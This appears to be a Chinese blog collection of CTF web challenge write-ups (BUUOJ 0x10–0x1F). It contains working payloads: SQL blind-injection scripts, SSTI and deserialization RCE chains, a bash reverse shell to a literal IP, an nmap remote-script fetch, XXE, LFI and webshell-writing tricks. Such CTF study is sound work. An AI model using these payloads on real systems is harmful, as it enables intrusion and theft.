buu题目合集(二)

记录一些刷题的做法与思路

0x10 [CISCN2019 华北赛区 Day2 Web1]Hack World

sql注入,随便尝试一下,好多过滤or, and, union, update, ';', '-', '#', *, 空格,这样子很多注入方法就没有用了,甚至闭合跟注释的符号都没有了,好在select跟()都还在,空格能用()来代替,异或符号也有,可以尝试布尔盲注

如果payload为id=0会返回Error Occured When Fetch Result.,为1就能正常查询,

尝试payload:0^(length(database())>5),正常查询

尝试payload:0^(length(database())<5),查询失败,说明布尔盲注成功

先尝试查询flag的长度,使用0^(length((select(flag)from(flag)))=42),这里的长度可以用二分法,很快就能查出

直接进行爆破

使用bp:

image-20230819014112280

设置好payload:

0^(ascii(substr((select(flag)from(flag)),1,1))=102)

位置从1到42,ASCII码从32到128,开始爆破就行

image-20230819020050826

长度493的就是正确的payload1就是flag字符位置,payload2就是ascii,bp需要挺长时间,这里没跑完

python脚本的就比较快

用python脚本(贴出别的师傅的脚本):按照的我的bp的思路,长度可以修改成42也可以

import requests

url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php"

result = ""
num = 0 # 用了来判断是不是flag已经拼完整了
for i in range(1, 60):

if num == 1:
break

for j in range(32, 128):

# payload = f"0^(ascii(substr((select(flag)from(flag)),%d,1)=)"
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
# print(str((i-1)*96+j-32)+":~"+payload+"~")

data = {
"id": payload,
}

r = requests.post(url, data=data)

r.encoding = r.apparent_encoding

if "Hello" in r.text:
x = chr(j)
result += str(x)
print(result)
break

if "}" in result:
print(result)
num = 1
break

0x11 [网鼎杯 2018]Fakebook

先正常试一遍功能,登录不行,尝试一下join,blog需要特定的格式才能通过,使用http://www.baidu.com能过,成功登陆进去后,点击用户能进入用户页面

image-20230826002203052

能看到,页面上是返回了我们输入的blog的链接的内容的,应该是用了curl_exec()

dirsearch扫出来存在挺多页面

flag.php
view.php
robots.txt
error.php
db.php
login.php

去看一下robots.txt发现还有/user.php.bak,下载一下

//user.php.bak

<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

还发现有db.php,肯定是数据库,试试会不会存在sql注入,点击用户的时候的链接是/view.php?no=1,尝试一下no参数

在找闭合符号的时候怎么都不对,忽然意识这个no参数可能是int类型,不需要闭合,所以不用闭合符号

尝试到no=1 order by 5就报错了,所以字段是4个

使用no=0 union select 1,2,3,4,返回了no hack ~_~,有过滤

这里尝试了好久,发现用/**/替换空格可以正常查询

image-20230826020042579

能看到2是正常显示出来了,所以可以在2 的位置进行注入,还是使用load_file(),no=0/**/union/**/select/**/1,load_file('/var/www/html/flag.php'),3,4

image-20230826020116640

成功查出来,其实也能用上面一题的方法布尔盲注爆破出来

但肯定是非预期,不然给的UserInfo类就没用上了,能注意到上面的图片中的左上角是有unserialize()函数的报错,所以可以知道,肯定有一个参数能进行反序列化,看一下wp,学习一下

先从information_schema数据库里面把所有的字段查出来,语法就不多写了

image-20230828215435247

查看各个字段的内容,看看都是什么内容,注意到data字段是UserInfo类的序列化 :O:8:"UserInfo":3:{s:4:"name";s:3:"qqq";s:3:"age";i:10;s:4:"blog";s:20:"http://www.baidu.com";}

image-20230828222922849

再结合前面注意到的unserialize()函数,猜测是从数据库里将序列化字符串取出后进行反序列化,可以看到data字段是是在第四个位置,我们把data数据放到4的位置看看会不会报错

image-20230829000700560

可以看到,确实正常了,curl指令是支持file协议的,可以读取文件,所以可以将blog的值改成file协议来读文件,就不用过isValidBlog ()的检查

O:8:"UserInfo":3:{s:4:"name";s:3:"qqq";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

image-20230829001342645

0x12 [BJDCTF2020]The mystery of ip

打开没发现什么,点flag页面能看到自己的ip

image-20231031195912809

修改一下X-Forwarded-For,确实可控,能执行xss但是明显这里的xss没有什么用

尝试一下,模板注入{{7*7}}

image-20231031202959611

成功注入,尝试{{config}}

image-20231031235220978

看一下报错,是php的Smarty的模板,去找这里一条payload:{$smarty.version}

返回:Your IP is : 3.1.34-dev-7,可以注入

直接读{system('cat /flag')}

在放一下网站里面的payload,记录一下

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

0x13 [网鼎杯 2020 朱雀组]phpweb

点进去能发现一直在发请求

POST /index.php HTTP/1.1
Host: f75eb8ce-e9a6-47c0-961a-7d29d9c771a1.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://f75eb8ce-e9a6-47c0-961a-7d29d9c771a1.node4.buuoj.cn:81
Connection: close
Referer: http://f75eb8ce-e9a6-47c0-961a-7d29d9c771a1.node4.buuoj.cn:81/index.php
Upgrade-Insecure-Requests: 1

func=date&p=Y-m-d+h%3Ai%3As+a

页面上有报错信息,是关于data()函数的,结合请求func=data

尝试一下传别的函数参数phpinfo

image-20231101011101420

回显hacker,说明是使用了传入的函数,但是有过滤了,尝试一下读文件file_get_contents

func=file_get_contents&p=index.php

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

读到源码,ban了很多函数,读根目录的flag也没有,读了很多东西,也没有什么

再仔细看给了一个Test类,__destruct()中可以直接执行call_usr_func,想到使用反序列化函数unserilize()

 class Test {
var $p = "bash -c \"bash -i >& /dev/tcp/120.76.194.25/2323 0>&1\"";
var $func = "system";
// function __destruct() {
// if ($this->func != "") {
// echo gettime($this->func, $this->p);
// }
// }
}

$a = new Test();
echo(urlencode(serialize($a)));
//O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A53%3A%22bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F120.76.194.25%2F2323+0%3E%261%22%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A53%3A%22bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F120.76.194.25%2F2323+0%3E%261%22%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

反弹shell多试几条

弹过来后在tmp目录下找到flag

image-20231101011749398

0x14 [BSidesCF 2020]Had a bad day

修改一下传入的category参数就能看到报错信息

image-20231102105839216

明显是使用了include函数,去访问/flag.php返回是200,存在这个文件的,同时ban了http://data://命令执行比较困难了,直接读index.php来看看,报错能看出拼接了.php

<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

传入的参数必须包含woofersmeowersindex

所以只要放入符合的字符串就可以了

php://filter/read=convert.base64-encode/resource=/var/www/html/index/../flag

php://filter/convert.base64-encode/index/resource=flag

都能读

0x15 [BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

一眼就看到了escapeshellargescapeshellarg这两个函数,明显是两个函数调用顺序引发的问题

//escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。

//escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。

简单来说就是escapeshellarg()会转义一个单引号,但是escapeshellcmd()又会把转义符号转义,让原本的转义符号失效,使单引号逃逸出来,与前面的单引号闭合,后面的字符串就能当成第二个参数进行拼接

也就是说,如果传参

cat ‘ /flag

经过escapeshellarg()会变成

'cat '\'' /flag'

经过escapeshellcmd()会变成

'cat '\\'' /flag\'

只要加入一个'单引号就能造成逃逸,就能添加别的参数,使用一下payload:

' <?php echo `cat /flag`;?> -oG test.php '

然后再返回的路径下访问test.php就能读到flag

这里再记录一条nmap的rce payload,从远程下载脚本运行

nmap -p 80 120.xxx.xxx.xxx --script http-fetch --script-args http-fetch.destination=/tmp,http-fetch.url=rce-script

nmap --script /tmp/120.xxx.xxx.xxx/80/rce-script

0x16 [BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

使用伪协议能成功进入if,去看看next.php的内容

POST /?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php HTTP/1.1
Host: xxx
...
Content-Length: 14

I have a dream
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

一下就看到preg_replace()并且,正则匹配使用了/e,同时第一跟第三个参数都是可控的,就是preg_replace()相关的rce

这篇文章解释的很清楚,这里只简单记录一下

1、/e会将preg_replace()中会把第二个参数当成php代码来执行,在上述例子中即执行eval(strtolower("\\1"))

2、\\1转移后就是\1,在正则中\1有自己的含义

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

3、还有一个是php可变变量的问题,在php中双引号包裹的字符串可以解析变量,就像是py中的f"a{i}bc"这样,${$a}或者{${$a}}就能解析相关变量,所以这个题目中,strtolower()会把传入的参数转为小写,但是我们要执行的getFlag()函数中有大写的字母,就可以用这种方法来绕过(${system('cat /flag')}我尝试过,会报语法的错,所以还是用他给出的后门函数)

最后就是要找一个正则来把我们输入的所有字符串全部匹配出来,官方payload给的是/?.\*={${phpinfo()}},但是是行不通的,.会被php转换为_,不能全部匹配,所以用\S*匹配任何非空白字符,所以最终的payload为

next.php?%5CS*=%24%7BgetFlag()%7D&cmd=system('cat%20%2Fflag')%3B
image-20231116100917445

0x17 [GXYCTF2019]禁止套娃

点进去什么都没有,扫一下目录,buu限制了扫描过快,设一下线程跟延时,可以发现有.git的泄露,并且网站目录下还存在flag.php

使用githack来读一下源码(这里真的坑,老版本的githack根本拿不下源码,搞得我以为没有源码下载,后来去下了新版本才行)

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

能看到做了很多黑名单,首先第一层,不能存在条件里面的几个伪协议

第二层,传入的参数中,替换xxx_xxx()的调用之后要剩下;

第三层,黑名单

关键在第二层,可以用无参数RCE

使用这条

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
image-20231128104325898

再保存多几条无参数的payload,挑合适的使用

eval(end(getallheaders())); //在最后添加请求头
eval(next(getallheaders())); //bp中设置UA
eval(end(current(get_defined_vars())));&jiang=phpinfo();
var_dump(getenv(phpinfo()));

// session
show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start())); 或者readgzfile();
修改cookie : PHPSESSID= filename

eval(hex2bin(session_id(session_start())));
抓包传入Cookie: PHPSESSID=("system('命令')"的十六进制)

当前目录:highlight_file(array_rand(array_flip(scandir(getcwd()))));
上级目录文件:highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

0x18 [NCTF2019]Fake XML cookbook

打开是个登录框,先正常登陆一下,看一下传参

<user><username>aaaa</username><password>aaaaa</password></user>

明显的xml传参,请求头中也说明是xml,那很有可能是xxe,不了解的可以先去这里学一学

看一下接收请求的路由在doLogin.php

image-20231128202848018

这个aaaa是我们传入的用户名,相应的时候又带出来了,猜测直接把参数返回来了,那我们可以试试自定义外部实体,读文件,改变username的值,让他外带

传入payload

<!DOCTYPE foo [<!ENTITY example SYSTEM "/flag"> ]><user><username>&example;</username><password>aaaaa</password></user>
image-20231128203440193

成功外带

0x19 [GWCTF 2019]我有一个数据库

打开就只有一句话,dirsearch扫一下,看到有phpmyadmin

image-20231129154140183

直接就能登录了,读写文件没成功

版本4.8.1,找一下版本漏洞

phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../../flag

以上两条payload都能成功,%253f?的两次url encode,代码细节浏览器传参后会decode一次,后端代码还会进行一次decode,然后h会include(),所以直接传参读flag就好

0x1A [BJDCTF2020]Mark loves cat

打开是一个博客页面,但是多次多次尝试会发现就是一个单纯的博客页面,啥都没了,直接上dirsearch扫,是有.git泄露的

GitHack拉一下源码,放一下关键代码

index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

flag.php

<?php
$flag = file_get_contents("/flag");

接下来代码审计,看看index.php的关键代码的逻辑,

可以接收任何GETPOST参数,主要看那两个迭代赋值的ifphp中,$$a的意思是,变量名为$a的值的变量

<?php
$a = "test";
$$a = "php";
// 就相当于 $test = "php"

当有参数传来时,就像下面一样:

// /?a=b

$a = "test";
$b = "bb";
$test = "php";

//经过迭代赋值后,会变成

$test = "bb";

回到题目,只有GETPOST两个一起设置才不会die($yds),所以我们可以只设置GET或者POST,把$yds的值改成$flag的就能die()出来

所以传参/?yds=flag

image-20231130010438505

0x1B [WUSTCTF2020]朴实无华

打开也没面仍是什么都没有,读一下robots.txt,发现有

User-agent: *
Disallow: /fAke_f1agggg.php

/fAke_f1agggg.php的请求头中有Look_at_me: /fl4g.php

内容:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

先看level 1,需要绕过intval($num) < 2020 && intval($num + 1) > 2021这个

在PHP5中intval()在接收字符串的变量时,数字开头,然后跟着字母的字符串但是又不符合标准的科学计数法的字符串只会返回前面的数字的值,例如intval("12e4") == 12;但是如果该字符串加上一个数字,则又能复原,例如,"var_dump("12e3"+1) == float(12001),所以level 1中传参num=33e3

level 2$md5==md5($md5)

双等号,是弱比较,$_GET['md5']的值是字符串类型,md5()的结果也是字符串类型,只需要找一个字符串以0e开头,并且md5()的结果也是0e开头就能绕过这里,可以使用0e215962017;传参md5=0e215962017

get flag

strstr()返回第一个参数中第二个参数后面的所有字符串,就是传参不能带有空格,str_ireplace()不区分大小写,替换参数,就是不能带有cat

这个直接用more${IFS}/fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagflag文件名用ls读当前目录就有了

最终payload:

/fl4g.php?num=33e3&md5=0e215962017&get_flag=more${IFS}./fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

0x1C [BJDCTF2020]Cookie is so stable

直接访问/flag.php,输入的username可以输出到页面上,可控,试试PHP的SSTI,传参{{7*7}},页面上显示49,说明存在ssti

一开始输入的username值保存到了Cookie里面了,hint.php里面也说了看看Cookie,去浏览器的存储里面修改Cookie

// Twig 的php模板,记录一下

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

有些payload被过滤了,全部尝试一遍,最后直接读文件,用这条:{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}},更新Cookie后刷新网页即可

image-20231202032625948

0x1D [安洵杯 2019]easy_web

请求参数很奇怪,像base64,去看看,解2次base64,一次hex,是文件名字555.png,换成bj.png(css里面有写北京图片)再次请求,能成功加载到界面,换成/etc/passwd没成功,直接读index.php

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

代码审计一下,

满足if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))这个条件后就能执行传入的参数cmd,

这个使用了string的类型转换,不能用数组绕过了,传入数组结果都是Array,所以只能直接碰撞,找两个不同字符串,但是md5()相同;cmd的绕过用c\at来绕过

因为会含有不可见字符所以直接用脚本传参了

import requests
import base64, re


filename = "index.php".encode('utf-8')
filename = base64.b64encode(base64.b64encode((filename.hex()).encode('utf-8')))
# print(filename)
filename = str(filename)[2:-1]

cmd = "c\\at /flag"
url = f"http://4721b6de-422e-4434-b965-a3613dd7b18c.node4.buuoj.cn:81/index.php?img={(filename)}&cmd={cmd}"

txt1 = '''MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAMDpRq8biSJQ3n8YCIG5V6y6V2ggnQfskibeOcrVJBMRhP6j+NwsyqhrBkfyDuh4R0gc
xmuW1i7FABu7ZL/E7jLH3FeaNRtW6nW2NCxtf/1qrF1NUSPmDd7LWv467AfiZ4ZsRpQE1gNOqExp
19/IZi4Uk2m4ysDfkKli/AeNamnT'''

txt2 = '''MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAMDpRq8biSJQ3n8YCIG5V6y6V2ignQfskibeOcrVJBMRhP6j+NwsyqhrBkfyDmh5R0gc
xmuW1i7FABu75L/E7jLH3FeaNRtW6nW2NCxtf/1qrF1N0SPmDd7LWv467AfiZ4ZsRpQE1gNOqExp
199IZi4Uk2m4ysDfkKli/IeNamnT'''

data = {"a":base64.b64decode(txt1),"b":base64.b64decode(txt2)}

req = requests.post(url,data=data)
text = req.text
print(req.status_code)

grou = re.search(":image/gif;base64,(?P<name>.*)'></img><br>(.*)<br>(?P<name1>.*)\n<html>",text)

# for i in grou.groups():
# print((i))
#print(base64.b64decode(grou.groups()[0]))
print(grou.groups()[2])
# b64text = grou.groups()[0]
# print(req.text)


# flag{7e612f04-bd0d-4964-8f0c-1c58668a5396}

0x1E [MRCTF2020]Ezpop

反序列化

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;

//手动添加的构造函数
public function __construct($a){
$this->var = $a;
}
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}

public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}


class Test{
public $p;
public function __construct(){
echo"Test's con!";
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

//if(isset($_GET['pop'])){
// @unserialize($_GET['pop']);
//}
//else{x
// $a=new Show;
// highlight_file(__FILE__);
//}


$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier("php://filter/read=convert.base64-encode/resource=/etc/passwd");
//$a->source->str->p->var = "flag.php";
$b = serialize($a);

echo $b;
echo"\n";
echo(urlencode($b));

没什么好讲的,注意入口点在__wakeup()函数就好,进入__wakeup()后的preg_match()会触发source__toString(),接着构造链子就行。

0x1F easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo(base64_decode($userinfo['img']));
echo file_get_contents(base64_decode($userinfo['img']));
}

字符逃逸,通过filter()可以对序列化后的字符串进行缩短

按照注释先去phpinfo()看看

image-20240229212940170

那就读这个文件,extract()可以变量覆盖,那就可以覆盖_SESSION变量,注意默认是完全覆盖,之前的赋值就不存在了,所以我们直接构造就好了

_SESSION[user]=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=ZDBnM19mMWFnLnBocA==&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"f";s:1:"a

虽然_SESSION[img]这个在这里没有用会被后面的覆盖,这里一起传参是为了固定参数的位置

后面的s:1:"f";s:1:"a是为了补充序列化元素的个数的,因为覆盖了原来的_SESSION[function]

读取后就知道flag/d0g3_fllllllag,直接读就有了

image-20240229222114081